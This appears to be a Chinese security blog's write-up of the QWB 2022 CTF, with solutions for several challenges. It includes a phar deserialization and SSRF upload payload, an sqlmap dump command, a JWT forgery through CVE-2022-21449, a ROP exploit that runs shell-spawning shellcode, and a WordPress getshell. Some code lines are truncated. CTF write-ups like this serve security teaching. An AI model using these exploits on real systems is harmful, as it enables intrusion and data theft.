点击蓝字 · 关注我们
1
crash
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5000))
sock.listen(5)
while True:
sock.accept() =
try:
connection.settimeout(99999999)
buf = connection.recv(29999)
time.sleep(1000000)
print(buf)
if buf == b'1':
to server!')
else:
go out!')
except socket.timeout:
time.sleep(1000000)
print(time)
connection.close()
2
babyweb
{"product":[{"id":1,"num":0},{"id":2, "num":-1,"num":1}]}
3
easyweb
http://47.104.95.124:8080/showfile.php?f=php://filter/convert.base64-encode/resource=./demo/../index.php
guestshow = new GuestShow();
$upload = new Upload();
$upload->date = "";
$upload2 = new Upload();
$upload2->date = "http://10.10.10.10/";
$a = new GuestShow();
$a->file = new AdminShow();
$a->file->upload = new AdminShow();
$a->file->upload->str = [$upload,$upload2];
$upload2->filesize = $a->file;
$upload2->filesize = $a->file;
$upload2->tmp = $guestshow;
$upload2->tmp->str = [$guestshow];
$guestshow->file = $a->file;
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 f3d4be8c6938
10.10.10.5 f3d4be8c6938
发现是10.10.10.10 ⾥⾯的⻚⾯源码
//内⽹资源阅读器-测试机
//配置信息请看phpinfo.php
highlight_file(__FILE__);
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}
if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101
'){
system('cat /flag');
die();
}
既然他都在这⾥给curl了 那我们直接file:///flag就可以 不⽤管其他的了
POST /upload.php HTTP/1.1
Host: 47.104.95.124:8080
Content-Length: 926
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.104.95.124:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryak6U5bQGmG0fmVS5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.104.95.124:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
COOKIE:PHPSESSID=abcde;
Connection: close
------WebKitFormBoundaryak6U5bQGmG0fmVS5
Content-Disposition: form-data; name="file"; filename="phar.jpg"
Content-Type: image/jpeg
GIF89aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php__HALT_COMPILER(); ?>
ôÃO:9:"GuestShow":2:{s:4:"file";O:9:"AdminShow":3:{s:6:"source";O:9:"AdminShow":3:
{s:6:"source";N;s:3:"str";a:2:{i:0;O:6:"Upload":4:
{s:4:"file";N;s:8:"filesize";r:2;s:4:"date";s:0:"";s:3:"tmp";N;}i:1;O:6:"Upload":4:
{s:4:"file";N;s:8:"filesize";r:2;s:4:"date";s:35:"http://10.10.10.10?
url=file:///flag";s:3:"tmp";O:9:"GuestShow":3:
{s:4:"file";r:2;s:8:"contents";N;s:3:"str";a:1:
{i:0;r:15;}}}}s:6:"filter";N;}s:3:"str";N;s:6:"filter";N;}s:8:"contents";N;}1231åb~•ضt
est^•$$Æçíyw¡•w25Ó+x#GBMB
------WebKitFormBoundaryak6U5bQGmG0fmVS5
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
敕交
------WebKitFormBoundaryak6U5bQGmG0fmVS5--
4
easylogin
sqlmap -r 1 --random-agent --dbms=mysql --batch -D moodle -T mdl_user_password_resets --dump --freshqueries
1
签到
2
问卷
flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}
1
myJWT
*CVE-2022-21449* r=s=0即可通过校验,最后再调⼀下参数
import base64
from pwn import *
r=remote('47.104.76.78',23334)
s=b'{"alg":"myES","typ":"JWT"}'
t=b'{"iss":"qwb","exp":11659200191758,"name":"1","admin":true}'
a=f"{base64.b64encode(s).decode()}.{base64.b64encode(t).decode()}.
{base64.b64encode(bytes(64)).decode()}"
r.sendline('1')
r.sendline('2')
r.sendline(a)
r.interactive()
1
deeprev
上⽅有⼀个secret 我们看看它是啥,不在此⽂件中
看到这⾥有个地⽅提示patch这⾥
后来patch后经过⽤angr尝试,发现跑不动 看到这个程序有⾮常多的重定位数据,就感到⾮常奇怪。
发现有个题和这题相似
https://gist.github.com/hgarrereyn/9e536e8b3471d3cb8ecbb5932a776b95
这⾥我们不需要solve,⾃⼰分析dump数据流
根据电脑性能⼤致等30-40分钟,就可以看到输出结果,可以看到很明显的flag标志。
注意转成16进制取⾼2位
后⾯的可以复制这个解析好的
全部提取出来后的flag_data
下⾯还有常数进⾏xor仍然可以提取出来
根据题⽬的提示写出脚本解密
1
devnull
#解题思路:覆盖buf指针指向可写区域0x3fe000,同时栈迁移到附近进⾏ROP,⾸先通过mprotect
#赋予执⾏权限,最后执⾏shellcode即可
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
p=process('./devnull')
gdb.attach(p)
payload='m'*0x20
p.sendafter('please input your filenamen',payload)
leave_ret=0x0000000000401511
bss=0x3fe000
payload='k'*0x14+p64(bss)*2+p64(leave_ret)
p.sendafter('Please write the data you want to discardn',payload)
movrax=0x0000000000401350
mprotect=0x00000000004012D0
shellcode=asm(shellcraft.sh())
#shellcode="x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx5
8x31xd2x0fx05"
payload=p64(0x3fe028)+p64(movrax)+p64(0x3fe000)+p64(0x3fe000)+p64(0x3fe030)+p64(0x3fe01
0)+p64(mprotect)+p64(0x3fe068)+p64(0x3fe048)+shellcode
p.sendafter('please input your new datan',payload)
p.interactive()
2
rcefile
3
polydiv
sage梭
from sage.all import *
from pwn import *
import string
context.log_level='debug'
dd=string.ascii_letters+string.digits
sha_done=False
r=remote('39.107.241.221',33739)
r.recvuntil('sha256(XXXX+')
s=r.recvuntil(') == ')[:-5]
h=r.recvline()[:-1]
for i in dd:
for j in dd:
for k in dd:
for w in dd:
ss_=(i+j+k+w).encode()
ss=ss_+s
hh=hashlib.sha256(ss).hexdigest()
if h.decode()==hh:
r.sendline(ss_)
sha_done=True
if sha_done:
break
if sha_done:
break
if sha_done:
break
if sha_done:
break
print('done')
P=GF(2)['x']
x=P.gen()
for i in range(40):
r.recvuntil('r(x) = ')
pr=eval(r.recvline().decode().replace('^','**').strip())
r.recvuntil('a(x) = ')
pa=eval(r.recvline().decode().replace('^','**').strip())
r.recvuntil('c(x) = ')
pc=eval(r.recvline().decode().replace('^','**').strip())
pb=(pr-pc)/pa
print(str(pb))
r.sendline(str(pb))
r.interactive()
4
WP-UM
在upload处上传⼀个⽂件,抓包并更改
若密码位数及字符正确,则显示Remove
wordpress第⼀篇⽂章作者即为⽤户,估最后得到账户密码为:MaoGePaMao MaoGeYaoQiFeiLa 登陆进去后台修改⽂件getshell,密码 1
http://eci-2ze1o95qor1o4z7vdbxu.cloudeci1.ichunqiu.com/wpcontent/themes/twentytwenty/404.ph
Tip
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):第六届强网杯CTF-Wp
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论